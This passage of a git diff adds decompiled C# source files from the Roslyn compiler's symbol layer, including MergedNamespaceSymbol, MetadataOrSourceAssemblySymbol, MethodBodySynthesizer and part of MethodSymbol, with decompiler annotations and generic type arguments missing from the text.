+ } + + private static ImmutableArray SubstituteModifiers(TypeMap typeMap, ImmutableArray customModifiers) + { + return typeMap?.SubstituteCustomModifiers(customModifiers) ?? customModifiers; + } + + private static CallingConvention GetCallingConvention(Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Invalid comparison between Unknown and I4 + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = member.Kind; + if ((int)kind != 5) + { + if ((int)kind == 9) + { + return ((MethodSymbol)member).CallingConvention; + } + if ((int)kind != 15) + { + throw ExceptionUtilities.UnexpectedValue((object)member.Kind); + } + } + if (member.IsStatic) + { + return (CallingConvention)0; + } + return (CallingConvention)32; + } + + private static bool IsVarargMethod(Symbol member) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)member.Kind == 9) + { + return ((MethodSymbol)member).IsVararg; + } + return false; + } + + internal static bool ConsideringTupleNamesCreatesDifference(Symbol member1, Symbol member2) + { + if (!CSharpWithTupleNamesComparer.Equals(member1, member2)) + { + return CSharpWithoutTupleNamesComparer.Equals(member1, member2); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MergedNamespaceSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MergedNamespaceSymbol.cs new file mode 100644 index 0000000..bc01d70 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MergedNamespaceSymbol.cs @@ -0,0 +1,193 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class MergedNamespaceSymbol : NamespaceSymbol +{ + private readonly NamespaceExtent _extent; + + private readonly ImmutableArray _namespacesToMerge; + + private readonly NamespaceSymbol _containingNamespace; + + private readonly string _nameOpt; + + private readonly CachingDictionary, Symbol> _cachedLookup; + + private ImmutableArray _allMembers; + + public override string Name => _nameOpt ?? _namespacesToMerge[0].Name; + + internal override NamespaceExtent Extent => _extent; + + public override ImmutableArray ConstituentNamespaces => _namespacesToMerge; + + public override Symbol ContainingSymbol => _containingNamespace; + + public override AssemblySymbol ContainingAssembly + { + get + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Invalid comparison between Unknown and I4 + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Invalid comparison between Unknown and I4 + if ((int)_extent.Kind == 1) + { + return _extent.Module.ContainingAssembly; + } + if ((int)_extent.Kind == 2) + { + return _extent.Assembly; + } + return null; + } + } + + public override ImmutableArray Locations => ImmutableArrayExtensions.AsImmutable(_namespacesToMerge.SelectMany((NamespaceSymbol namespaceSymbol) => namespaceSymbol.Locations)); + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArrayExtensions.AsImmutable(_namespacesToMerge.SelectMany((NamespaceSymbol namespaceSymbol) => namespaceSymbol.DeclaringSyntaxReferences)); + + internal static NamespaceSymbol Create(NamespaceExtent extent, NamespaceSymbol containingNamespace, ImmutableArray namespacesToMerge, string nameOpt = null) + { + if (namespacesToMerge.Length != 1 || nameOpt != null) + { + return new MergedNamespaceSymbol(extent, containingNamespace, namespacesToMerge, nameOpt); + } + return namespacesToMerge[0]; + } + + private MergedNamespaceSymbol(NamespaceExtent extent, NamespaceSymbol containingNamespace, ImmutableArray namespacesToMerge, string nameOpt) + { + _extent = extent; + _namespacesToMerge = namespacesToMerge; + _containingNamespace = containingNamespace; + _cachedLookup = new CachingDictionary, Symbol>((Func, ImmutableArray>)SlowGetChildrenOfName, (Func>, SegmentedHashSet>>)SlowGetChildNames, (IEqualityComparer>)ReadOnlyMemoryOfCharComparer.Instance); + _nameOpt = nameOpt; + } + + internal NamespaceSymbol GetConstituentForCompilation(CSharpCompilation compilation) + { + ImmutableArray.Enumerator enumerator = _namespacesToMerge.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamespaceSymbol current = enumerator.Current; + if (current.IsFromCompilation(compilation)) + { + return current; + } + } + return null; + } + + internal override void ForceComplete(SourceLocation locationOpt, CancellationToken cancellationToken) + { + ImmutableArray.Enumerator enumerator = _namespacesToMerge.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamespaceSymbol current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + current.ForceComplete(locationOpt, cancellationToken); + } + } + + private ImmutableArray SlowGetChildrenOfName(ReadOnlyMemory name) + { + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Invalid comparison between Unknown and I4 + ArrayBuilder val = null; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = _namespacesToMerge.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray.Enumerator enumerator2 = enumerator.Current.GetMembers(name).GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current = enumerator2.Current; + if ((int)current.Kind == 12) + { + val = val ?? ArrayBuilder.GetInstance(); + val.Add((NamespaceSymbol)current); + } + else + { + instance.Add(current); + } + } + } + if (val != null) + { + instance.Add((Symbol)Create(_extent, this, val.ToImmutableAndFree())); + } + return instance.ToImmutableAndFree(); + } + + private SegmentedHashSet> SlowGetChildNames(IEqualityComparer> comparer) + { + int num = 0; + ImmutableArray.Enumerator enumerator = _namespacesToMerge.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamespaceSymbol current = enumerator.Current; + num += current.GetMembersUnordered().Length; + } + SegmentedHashSet> val = new SegmentedHashSet>(num, comparer); + enumerator = _namespacesToMerge.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray.Enumerator enumerator2 = enumerator.Current.GetMembersUnordered().GetEnumerator(); + while (enumerator2.MoveNext()) + { + Symbol current2 = enumerator2.Current; + val.Add(current2.Name.AsMemory()); + } + } + return val; + } + + public override ImmutableArray GetMembers() + { + if (_allMembers.IsDefault) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + _cachedLookup.AddValues(instance); + _allMembers = instance.ToImmutableAndFree(); + } + return _allMembers; + } + + public override ImmutableArray GetMembers(ReadOnlyMemory name) + { + return _cachedLookup[name]; + } + + internal sealed override ImmutableArray GetTypeMembersUnordered() + { + return ImmutableArray.CreateRange(GetMembersUnordered().OfType()); + } + + public sealed override ImmutableArray GetTypeMembers() + { + return ImmutableArray.CreateRange(GetMembers().OfType()); + } + + public override ImmutableArray GetTypeMembers(ReadOnlyMemory name) + { + return ImmutableArray.CreateRange(_cachedLookup[name].OfType()); + } + + internal override void GetExtensionMethods(ArrayBuilder methods, string name, int arity, LookupOptions options) + { + ImmutableArray.Enumerator enumerator = _namespacesToMerge.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.GetExtensionMethods(methods, name, arity, options); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MetadataOrSourceAssemblySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MetadataOrSourceAssemblySymbol.cs new file mode 100644 index 0000000..102fbaa --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MetadataOrSourceAssemblySymbol.cs @@ -0,0 +1,238 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.RuntimeMembers; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class MetadataOrSourceAssemblySymbol : NonMissingAssemblySymbol +{ + private NamedTypeSymbol[] _lazySpecialTypes; + + private TypeConversions _lazyTypeConversions; + + private int _cachedSpecialTypes; + + private NativeIntegerTypeSymbol[] _lazyNativeIntegerTypes; + + private ICollection _lazyTypeNames; + + private ICollection _lazyNamespaceNames; + + private Symbol[] _lazySpecialTypeMembers; + + private ConcurrentDictionary _assembliesToWhichInternalAccessHasBeenAnalyzed; + + internal override bool KeepLookingForDeclaredSpecialTypes + { + get + { + if ((object)base.CorLibrary == this) + { + return _cachedSpecialTypes < 46; + } + return false; + } + } + + public override ICollection TypeNames + { + get + { + if (_lazyTypeNames == null) + { + Interlocked.CompareExchange(ref _lazyTypeNames, UnionCollection.Create(Modules, (Func>)((ModuleSymbol m) => m.TypeNames)), null); + } + return _lazyTypeNames; + } + } + + public override ICollection NamespaceNames + { + get + { + if (_lazyNamespaceNames == null) + { + Interlocked.CompareExchange(ref _lazyNamespaceNames, UnionCollection.Create(Modules, (Func>)((ModuleSymbol m) => m.NamespaceNames)), null); + } + return _lazyNamespaceNames; + } + } + + private ConcurrentDictionary AssembliesToWhichInternalAccessHasBeenDetermined + { + get + { + if (_assembliesToWhichInternalAccessHasBeenAnalyzed == null) + { + Interlocked.CompareExchange(ref _assembliesToWhichInternalAccessHasBeenAnalyzed, new ConcurrentDictionary(), null); + } + return _assembliesToWhichInternalAccessHasBeenAnalyzed; + } + } + + internal sealed override TypeConversions TypeConversions + { + get + { + if (this != base.CorLibrary) + { + return base.CorLibrary.TypeConversions; + } + if (_lazyTypeConversions == null) + { + Interlocked.CompareExchange(ref _lazyTypeConversions, new TypeConversions(this), null); + } + return _lazyTypeConversions; + } + } + + internal sealed override NamedTypeSymbol GetDeclaredSpecialType(SpecialType type) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Invalid comparison between Unknown and I4 + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + if (_lazySpecialTypes == null || (object)_lazySpecialTypes[type] == null) + { + MetadataTypeName emittedName = MetadataTypeName.FromFullName(SpecialTypes.GetMetadataName(type), true, -1); + ModuleSymbol moduleSymbol = Modules[0]; + NamedTypeSymbol namedTypeSymbol = moduleSymbol.LookupTopLevelMetadataType(ref emittedName); + if ((object)namedTypeSymbol == null || (int)namedTypeSymbol.DeclaredAccessibility != 6) + { + namedTypeSymbol = new MissingMetadataTypeSymbol.TopLevel(moduleSymbol, ref emittedName, type); + } + RegisterDeclaredSpecialType(namedTypeSymbol); + } + return _lazySpecialTypes[type]; + } + + internal sealed override void RegisterDeclaredSpecialType(NamedTypeSymbol corType) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + SpecialType specialType = corType.SpecialType; + if (_lazySpecialTypes == null) + { + Interlocked.CompareExchange(ref _lazySpecialTypes, new NamedTypeSymbol[47], null); + } + if ((object)Interlocked.CompareExchange(ref _lazySpecialTypes[specialType], corType, null) == null) + { + Interlocked.Increment(ref _cachedSpecialTypes); + } + } + + internal sealed override NamedTypeSymbol GetNativeIntegerType(NamedTypeSymbol underlyingType) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Invalid comparison between Unknown and I4 + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Invalid comparison between Unknown and I4 + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (_lazyNativeIntegerTypes == null) + { + Interlocked.CompareExchange(ref _lazyNativeIntegerTypes, new NativeIntegerTypeSymbol[2], null); + } + SpecialType specialType = underlyingType.SpecialType; + int num; + if ((int)specialType != 21) + { + if ((int)specialType != 22) + { + throw ExceptionUtilities.UnexpectedValue((object)underlyingType.SpecialType); + } + num = 1; + } + else + { + num = 0; + } + int num2 = num; + if ((object)_lazyNativeIntegerTypes[num2] == null) + { + Interlocked.CompareExchange(ref _lazyNativeIntegerTypes[num2], new NativeIntegerTypeSymbol(underlyingType), null); + } + return _lazyNativeIntegerTypes[num2]; + } + + internal override Symbol GetDeclaredSpecialTypeMember(SpecialMember member) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + if (_lazySpecialTypeMembers == null || (object)_lazySpecialTypeMembers[member] == ErrorTypeSymbol.UnknownResultType) + { + if (_lazySpecialTypeMembers == null) + { + Symbol[] array = new Symbol[128]; + for (int i = 0; i < array.Length; i++) + { + array[i] = ErrorTypeSymbol.UnknownResultType; + } + Interlocked.CompareExchange(ref _lazySpecialTypeMembers, array, null); + } + MemberDescriptor descriptor = SpecialMembers.GetDescriptor(member); + NamedTypeSymbol declaredSpecialType = GetDeclaredSpecialType((SpecialType)(sbyte)descriptor.DeclaringTypeId); + Symbol value = null; + if (!declaredSpecialType.IsErrorType()) + { + value = CSharpCompilation.GetRuntimeMember(declaredSpecialType, in descriptor, (SignatureComparer)(object)CSharpCompilation.SpecialMembersSignatureComparer.Instance, null); + } + Interlocked.CompareExchange(ref _lazySpecialTypeMembers[member], value, ErrorTypeSymbol.UnknownResultType); + } + return _lazySpecialTypeMembers[member]; + } + + protected IVTConclusion MakeFinalIVTDetermination(AssemblySymbol potentialGiverOfAccess) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0050: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_0059: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Invalid comparison between Unknown and I4 + //IL_007a: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + if (AssembliesToWhichInternalAccessHasBeenDetermined.TryGetValue(potentialGiverOfAccess, out var value)) + { + return value; + } + value = (IVTConclusion)3; + IEnumerable> internalsVisibleToPublicKeys = potentialGiverOfAccess.GetInternalsVisibleToPublicKeys(Name); + if (internalsVisibleToPublicKeys.Any() && IsNetModule()) + { + return (IVTConclusion)0; + } + foreach (ImmutableArray item in internalsVisibleToPublicKeys) + { + value = ISymbolExtensions.PerformIVTCheck(potentialGiverOfAccess.Identity, PublicKey, item); + if ((int)value == 0 || (int)value == 1) + { + break; + } + } + AssembliesToWhichInternalAccessHasBeenDetermined.TryAdd(potentialGiverOfAccess, value); + return value; + } + + internal virtual bool IsNetModule() + { + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodBodySynthesizer.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodBodySynthesizer.cs new file mode 100644 index 0000000..052217e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodBodySynthesizer.cs @@ -0,0 +1,63 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class MethodBodySynthesizer +{ + public const int HASH_FACTOR = -1521134295; + + public static BoundExpression GenerateHashCombine(BoundExpression currentHashValue, MethodSymbol system_Collections_Generic_EqualityComparer_T__GetHashCode, MethodSymbol system_Collections_Generic_EqualityComparer_T__get_Default, ref BoundLiteral? boundHashFactor, BoundExpression valueToHash, SyntheticBoundNodeFactory F) + { + TypeSymbol type = currentHashValue.Type; + if (boundHashFactor == null) + { + boundHashFactor = F.Literal(-1521134295); + } + currentHashValue = F.Binary(BinaryOperatorKind.IntMultiplication, type, currentHashValue, boundHashFactor); + currentHashValue = F.Binary(BinaryOperatorKind.IntAddition, type, currentHashValue, GenerateGetHashCode(system_Collections_Generic_EqualityComparer_T__GetHashCode, system_Collections_Generic_EqualityComparer_T__get_Default, valueToHash, F)); + return currentHashValue; + } + + public static BoundCall GenerateGetHashCode(MethodSymbol system_Collections_Generic_EqualityComparer_T__GetHashCode, MethodSymbol system_Collections_Generic_EqualityComparer_T__get_Default, BoundExpression valueToHash, SyntheticBoundNodeFactory F) + { + NamedTypeSymbol namedTypeSymbol = system_Collections_Generic_EqualityComparer_T__GetHashCode.ContainingType.Construct(valueToHash.Type); + return F.Call(F.StaticCall(namedTypeSymbol, system_Collections_Generic_EqualityComparer_T__get_Default.AsMember(namedTypeSymbol)), system_Collections_Generic_EqualityComparer_T__GetHashCode.AsMember(namedTypeSymbol), valueToHash); + } + + public static BoundExpression GenerateFieldEquals(BoundExpression? initialExpression, BoundExpression otherReceiver, ArrayBuilder fields, SyntheticBoundNodeFactory F) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol methodSymbol = F.WellKnownMethod((WellKnownMember)59); + MethodSymbol methodSymbol2 = F.WellKnownMethod((WellKnownMember)57); + NamedTypeSymbol containingType = methodSymbol2.ContainingType; + BoundExpression boundExpression = initialExpression; + Enumerator enumerator = fields.GetEnumerator(); + while (enumerator.MoveNext()) + { + FieldSymbol current = enumerator.Current; + NamedTypeSymbol namedTypeSymbol = containingType.Construct(current.Type); + BoundExpression boundExpression2 = F.Call(F.StaticCall(namedTypeSymbol, methodSymbol.AsMember(namedTypeSymbol)), methodSymbol2.AsMember(namedTypeSymbol), F.Field(F.This(), current), F.Field(otherReceiver, current)); + boundExpression = ((boundExpression == null) ? boundExpression2 : F.LogicalAnd(boundExpression, boundExpression2)); + } + return boundExpression; + } + + internal static BoundBlock ConstructSingleInvocationMethodBody(SyntheticBoundNodeFactory F, MethodSymbol methodToInvoke, bool useBaseReference) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = F.CurrentFunction.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + instance.Add((BoundExpression)F.Parameter(current)); + } + BoundExpression boundExpression = F.Call(methodToInvoke.IsStatic ? null : (useBaseReference ? ((BoundExpression)F.Base(methodToInvoke.ContainingType)) : ((BoundExpression)F.This())), methodToInvoke, instance.ToImmutableAndFree()); + if (!F.CurrentFunction.ReturnsVoid) + { + return F.Block(F.Return(boundExpression)); + } + return F.Block(F.ExpressionStatement(boundExpression), F.Return()); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodEarlyWellKnownAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodEarlyWellKnownAttributeData.cs new file mode 100644 index 0000000..0e3528a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodEarlyWellKnownAttributeData.cs @@ -0,0 +1,18 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class MethodEarlyWellKnownAttributeData : CommonMethodEarlyWellKnownAttributeData +{ + private bool _unmanagedCallersOnlyAttributePresent; + + public bool UnmanagedCallersOnlyAttributePresent + { + get + { + return _unmanagedCallersOnlyAttributePresent; + } + set + { + _unmanagedCallersOnlyAttributePresent = value; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodSymbol.cs new file mode 100644 index 0000000..3766143 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/MethodSymbol.cs @@ -0,0 +1,1120 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using System.Reflection; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class MethodSymbol : Symbol, ITypeMemberReference, IReference, INamedEntity, IMethodReference, ISignature, IGenericMethodInstanceReference, ISpecializedMethodReference, ITypeDefinitionMember, IDefinition, IMethodDefinition, IMethodSymbolInternal, ISymbolInternal +{ + internal const MethodSymbol None = null; + + private ParameterSignature _lazyParameterSignature; + + IGenericMethodInstanceReference IMethodReference.AsGenericMethodInstanceReference + { + get + { + if (!AdaptedMethodSymbol.IsDefinition && AdaptedMethodSymbol.IsGenericMethod) + { + return (IGenericMethodInstanceReference)(object)this; + } + return null; + } + } + + ISpecializedMethodReference IMethodReference.AsSpecializedMethodReference + { + get + { + if (!AdaptedMethodSymbol.IsDefinition && (!AdaptedMethodSymbol.IsGenericMethod || PEModuleBuilder.IsGenericType(AdaptedMethodSymbol.ContainingType))) + { + return (ISpecializedMethodReference)(object)this; + } + return null; + } + } + + string INamedEntity.Name => AdaptedMethodSymbol.MetadataName; + + bool IMethodReference.AcceptsExtraArguments => AdaptedMethodSymbol.IsVararg; + + ushort IMethodReference.GenericParameterCount => (ushort)AdaptedMethodSymbol.Arity; + + bool IMethodReference.IsGeneric => AdaptedMethodSymbol.IsGenericMethod; + + ushort ISignature.ParameterCount => (ushort)AdaptedMethodSymbol.ParameterCount; + + ImmutableArray IMethodReference.ExtraParameters => ImmutableArray.Empty; + + CallingConvention ISignature.CallingConvention => AdaptedMethodSymbol.CallingConvention; + + ImmutableArray ISignature.ReturnValueCustomModifiers => ImmutableArray.CastUp(AdaptedMethodSymbol.ReturnTypeWithAnnotations.CustomModifiers); + + ImmutableArray ISignature.RefCustomModifiers => ImmutableArray.CastUp(AdaptedMethodSymbol.RefCustomModifiers); + + bool ISignature.ReturnValueIsByRef => AdaptedMethodSymbol.RefKind.IsManagedReference(); + + IMethodReference ISpecializedMethodReference.UnspecializedVersion => (IMethodReference)(object)AdaptedMethodSymbol.OriginalDefinition.GetCciAdapter(); + + ITypeDefinition ITypeDefinitionMember.ContainingTypeDefinition + { + get + { + if (AdaptedMethodSymbol.OriginalDefinition is SynthesizedGlobalMethodSymbol synthesizedGlobalMethodSymbol) + { + return (ITypeDefinition)(object)synthesizedGlobalMethodSymbol.ContainingPrivateImplementationDetailsType; + } + return (ITypeDefinition)(object)AdaptedMethodSymbol.ContainingType.GetCciAdapter(); + } + } + + TypeMemberVisibility ITypeDefinitionMember.Visibility => PEModuleBuilder.MemberVisibility(AdaptedMethodSymbol); + + IEnumerable IMethodDefinition.GenericParameters + { + get + { + ImmutableArray.Enumerator enumerator = AdaptedMethodSymbol.TypeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + yield return (IGenericMethodParameter)(object)current.GetCciAdapter(); + } + } + } + + bool IMethodDefinition.HasDeclarativeSecurity => AdaptedMethodSymbol.HasDeclarativeSecurity; + + IEnumerable IMethodDefinition.SecurityAttributes => AdaptedMethodSymbol.GetSecurityInformation(); + + bool IMethodDefinition.IsAbstract => AdaptedMethodSymbol.IsAbstract; + + bool IMethodDefinition.IsAccessCheckedOnOverride => AdaptedMethodSymbol.IsAccessCheckedOnOverride; + + bool IMethodDefinition.IsConstructor => (int)AdaptedMethodSymbol.MethodKind == 1; + + bool IMethodDefinition.IsExternal => AdaptedMethodSymbol.IsExternal; + + bool IMethodDefinition.IsHiddenBySignature => !AdaptedMethodSymbol.HidesBaseMethodsByName; + + bool IMethodDefinition.IsNewSlot => AdaptedMethodSymbol.IsMetadataNewSlot(); + + bool IMethodDefinition.IsPlatformInvoke => AdaptedMethodSymbol.GetDllImportData() != null; + + IPlatformInvokeInformation IMethodDefinition.PlatformInvokeData => (IPlatformInvokeInformation)(object)AdaptedMethodSymbol.GetDllImportData(); + + bool IMethodDefinition.IsRuntimeSpecial => AdaptedMethodSymbol.HasRuntimeSpecialName; + + bool IMethodDefinition.IsSealed => AdaptedMethodSymbol.IsMetadataFinal; + + bool IMethodDefinition.IsSpecialName => AdaptedMethodSymbol.HasSpecialName; + + bool IMethodDefinition.IsStatic => AdaptedMethodSymbol.IsStatic; + + bool IMethodDefinition.IsVirtual => AdaptedMethodSymbol.IsMetadataVirtual(); + + ImmutableArray IMethodDefinition.Parameters => EnumerateDefinitionParameters(); + + bool IMethodDefinition.RequiresSecurityObject => AdaptedMethodSymbol.RequiresSecurityObject; + + bool IMethodDefinition.ReturnValueIsMarshalledExplicitly => AdaptedMethodSymbol.ReturnValueIsMarshalledExplicitly; + + IMarshallingInformation IMethodDefinition.ReturnValueMarshallingInformation => (IMarshallingInformation)(object)AdaptedMethodSymbol.ReturnValueMarshallingInformation; + + ImmutableArray IMethodDefinition.ReturnValueMarshallingDescriptor => AdaptedMethodSymbol.ReturnValueMarshallingDescriptor; + + INamespace IMethodDefinition.ContainingNamespace => (INamespace)(object)AdaptedMethodSymbol.ContainingNamespace.GetCciAdapter(); + + internal MethodSymbol AdaptedMethodSymbol => this; + + internal virtual bool IsAccessCheckedOnOverride + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + Accessibility declaredAccessibility = DeclaredAccessibility; + if (((int)declaredAccessibility == 1 || (int)declaredAccessibility == 2 || (int)declaredAccessibility == 4) && IsMetadataVirtual()) + { + return !IsMetadataFinal; + } + return false; + } + } + + internal virtual bool IsExternal + { + get + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Invalid comparison between Unknown and I4 + if (!IsExtern) + { + if ((object)ContainingType != null) + { + return (int)ContainingType.TypeKind == 3; + } + return false; + } + return true; + } + } + + internal virtual bool HasRuntimeSpecialName + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + if ((int)MethodKind != 1) + { + return (int)MethodKind == 14; + } + return true; + } + } + + internal virtual bool IsMetadataFinal + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Invalid comparison between Unknown and I4 + if (!IsSealed) + { + if (IsMetadataVirtual()) + { + if (!IsVirtual && !IsOverride && !IsAbstract) + { + return (int)MethodKind != 4; + } + return false; + } + return false; + } + return true; + } + } + + internal virtual bool ReturnValueIsMarshalledExplicitly => ReturnValueMarshallingInformation != null; + + internal virtual ImmutableArray ReturnValueMarshallingDescriptor => default(ImmutableArray); + + public new virtual MethodSymbol OriginalDefinition => this; + + protected sealed override Symbol OriginalSymbolDefinition => OriginalDefinition; + + public abstract MethodKind MethodKind { get; } + + public abstract int Arity { get; } + + public virtual bool IsGenericMethod => Arity != 0; + + public virtual bool RequiresInstanceReceiver => !IsStatic; + + internal virtual bool IsDirectlyExcludedFromCodeCoverage => false; + + internal virtual ImmutableArray NotNullMembers => ImmutableArray.Empty; + + internal virtual ImmutableArray NotNullWhenTrueMembers => ImmutableArray.Empty; + + internal virtual ImmutableArray NotNullWhenFalseMembers => ImmutableArray.Empty; + + public abstract bool IsExtensionMethod { get; } + + internal abstract bool HasSpecialName { get; } + + internal abstract MethodImplAttributes ImplementationAttributes { get; } + + internal abstract bool HasDeclarativeSecurity { get; } + + internal abstract MarshalPseudoCustomAttributeData ReturnValueMarshallingInformation { get; } + + internal abstract bool RequiresSecurityObject { get; } + + public abstract bool HidesBaseMethodsByName { get; } + + public abstract bool IsVararg { get; } + + public virtual bool IsCheckedBuiltin => false; + + public abstract bool ReturnsVoid { get; } + + public abstract bool IsAsync { get; } + + public bool ReturnsByRef => (int)RefKind == 1; + + public bool ReturnsByRefReadonly => (int)RefKind == 3; + + public abstract RefKind RefKind { get; } + + public abstract TypeWithAnnotations ReturnTypeWithAnnotations { get; } + + public TypeSymbol ReturnType => ReturnTypeWithAnnotations.Type; + + public abstract FlowAnalysisAnnotations ReturnTypeFlowAnalysisAnnotations { get; } + + public abstract ImmutableHashSet ReturnNotNullIfParameterNotNull { get; } + + public abstract FlowAnalysisAnnotations FlowAnalysisAnnotations { get; } + + public abstract ImmutableArray TypeArgumentsWithAnnotations { get; } + + public abstract ImmutableArray TypeParameters { get; } + + internal 